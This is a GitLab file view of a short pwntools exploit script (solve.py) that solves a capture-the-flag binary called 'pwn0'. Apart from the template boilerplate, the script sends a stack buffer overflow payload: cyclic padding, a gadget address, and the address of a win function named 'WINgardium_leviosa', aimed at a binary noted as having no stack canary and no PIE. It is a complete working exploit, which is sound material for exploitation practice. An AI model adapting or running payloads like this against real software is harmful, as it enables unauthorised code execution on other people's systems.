Skip to content
Snippets Groups Projects
Select Git revision
  • fa712b19ab5bc9947953f16eb6384e57fa0c1f63
  • master default protected
2 results

demo4-scale-out-add-worker.py

Blame
  • solve.py 1.29 KiB
    #!/usr/bin/env python3
    # -*- coding: utf-8 -*-
    # This exploit template was generated via:
    # $ pwn template pwn0
    from pwn import *
    
    # Set up pwntools for the correct architecture
    exe = context.binary = ELF(args.EXE or 'pwn0')
    
    # Many built-in settings can be controlled on the command-line and show up
    # in "args".  For example, to dump all data sent/received, and disable ASLR
    # for all created processes...
    # ./exploit.py DEBUG NOASLR
    
    
    
    def start(argv=[], *a, **kw):
        '''Start the exploit against the target.'''
        if args.GDB:
            return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
        else:
            return process([exe.path] + argv, *a, **kw)
    
    # Specify your GDB script here for debugging
    # GDB will be launched if the exploit is run via e.g.
    # ./exploit.py GDB
    gdbscript = '''
    tbreak main
    continue
    '''.format(**locals())
    
    #===========================================================
    #                    EXPLOIT GOES HERE
    #===========================================================
    # Arch:     amd64-64-little
    # RELRO:    Partial RELRO
    # Stack:    No canary found
    # NX:       NX enabled
    # PIE:      No PIE (0x400000)
    
    io = start()
    
    
    io.recvuntil(b"enter your magic spell:")
    io.sendline(cyclic_find(b'qaac')*b'A' + p64(0x0000000000401380) + p64(exe.sym['WINgardium_leviosa']))
    
    
    io.interactive()